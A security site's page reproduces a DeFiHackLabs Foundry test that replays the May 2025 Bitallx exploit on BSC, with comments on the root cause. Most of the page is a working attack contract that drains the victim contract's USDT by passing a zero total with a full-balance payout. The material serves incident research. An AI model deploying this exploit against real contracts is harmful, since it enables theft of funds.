Skip to content
THREATWIRE

Public reproduction file

src/test/2025-05/bitallx_exp.sol

Public reproduction file for dataset entry Bitallx.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2025-05/bitallx_exp.sol93 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "../basetest.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : 2,029.47 USDT
8// Attacker : 0xF499F7a82De632CFd194025A51C88d1b44C8155e
9// Attack Contract : 0x81e631FaC80CdaC59b1A5BBC5667AaaCB238965F
10// Vulnerable Contract : 0xa5f3728767F834C591eE99C8C5854b752F39C385
11// Attack Tx : https://bscscan.com/tx/0x1fe893e4d8370a8d6da590b32f66bd032217bac2e56bd2bf0de2a9df9c7117dd
12//
13// @Info
14// Vulnerable Contract Code : https://bscscan.com/address/0xa5f3728767F834C591eE99C8C5854b752F39C385#code
15//
16// @Analysis
17// Twitter Guy : https://t.me/defimon_alerts/1065
18//
19// Attack summary: The attacker called BitallxPayOut with totalSendAmount = 0 but supplied a payout
20// amount equal to the victim contract's USDT balance, so the function transferred existing victim
21// funds to the attack contract.
22// Root cause: BitallxPayOut checks allowance and balance against totalSendAmount but never checks
23// that sum(amount[]) is bounded by totalSendAmount.
25address constant ATTACKER = 0xF499F7a82De632CFd194025A51C88d1b44C8155e;
26address constant TRACE_ATTACK_CONTRACT = 0x81e631FaC80CdaC59b1A5BBC5667AaaCB238965F;
27address constant BITALLX_SC = 0xa5f3728767F834C591eE99C8C5854b752F39C385;
28address constant USDT_TOKEN = 0x55d398326f99059fF775485246999027B3197955;
30interface IBitallxSC {
31 function BitallxPayOut(
32 address tokencontract,
33 address[] calldata wallet,
34 uint256[] calldata amount,
35 uint256 totalSendAmount
36 ) external;
39interface IBitallxToken {
40 function balanceOf(
41 address account
42 ) external view returns (uint256);
43 function transfer(
44 address recipient,
45 uint256 amount
46 ) external returns (bool);
49contract ContractTest is BaseTestWithBalanceLog {
50 address private profitReceiver;
52 function setUp() public {
53 vm.createSelectFork("bsc", 49_758_338);
55 profitReceiver = makeAddr("profitReceiver");
56 fundingToken = USDT_TOKEN;
57 attacker = profitReceiver;
59 vm.label(ATTACKER, "Attacker EOA");
60 vm.label(TRACE_ATTACK_CONTRACT, "Trace Attack Contract");
61 vm.label(BITALLX_SC, "BitallxSC");
62 vm.label(USDT_TOKEN, "USDT");
63 }
65 function testExploit() public balanceLog {
66 uint256 victimBalance = IBitallxToken(USDT_TOKEN).balanceOf(BITALLX_SC);
67 assertEq(victimBalance, 2_029_473_999_999_999_986_000);
69 new BitallxPayOutAttack(profitReceiver);
71 assertEq(IBitallxToken(USDT_TOKEN).balanceOf(profitReceiver), victimBalance);
72 assertEq(IBitallxToken(USDT_TOKEN).balanceOf(BITALLX_SC), 0);
73 }
76contract BitallxPayOutAttack {
77 constructor(
78 address profitReceiver
79 ) {
80 IBitallxToken usdt = IBitallxToken(USDT_TOKEN);
81 uint256 victimBalance = usdt.balanceOf(BITALLX_SC);
83 address[] memory wallets = new address[](1);
84 wallets[0] = address(this);
86 uint256[] memory amounts = new uint256[](1);
87 amounts[0] = victimBalance;
89 IBitallxSC(BITALLX_SC).BitallxPayOut(USDT_TOKEN, wallets, amounts, 0);
91 require(usdt.transfer(profitReceiver, usdt.balanceOf(address(this))), "profit transfer failed");
92 }

Analysis

Dataset entry

Public Foundry test for “Bitallx” (2025-05-16). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

17 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xf499f7a82de632cfd194025a51c88d1b44c8155e

  • Attack Contract

    0x81e631fac80cdac59b1a5bbc5667aaacb238965f

  • Vulnerable Contract

    0xa5f3728767f834c591ee99c8c5854b752f39c385

  • Attack Tx

    0x1fe893e4d8370a8d6da590b32f66bd032217bac2e56bd2bf0de2a9df9c7117dd

File record

Name
Bitallx
Path
src/test/2025-05/bitallx_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
74918948bf47cce16ac8d780cd3161335295a5d1
Language
Solidity
Size
94 lines
Date
2025-05-16
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2025-05/bitallx_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 74918948bf47cce16ac8d780cd3161335295a5d1, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.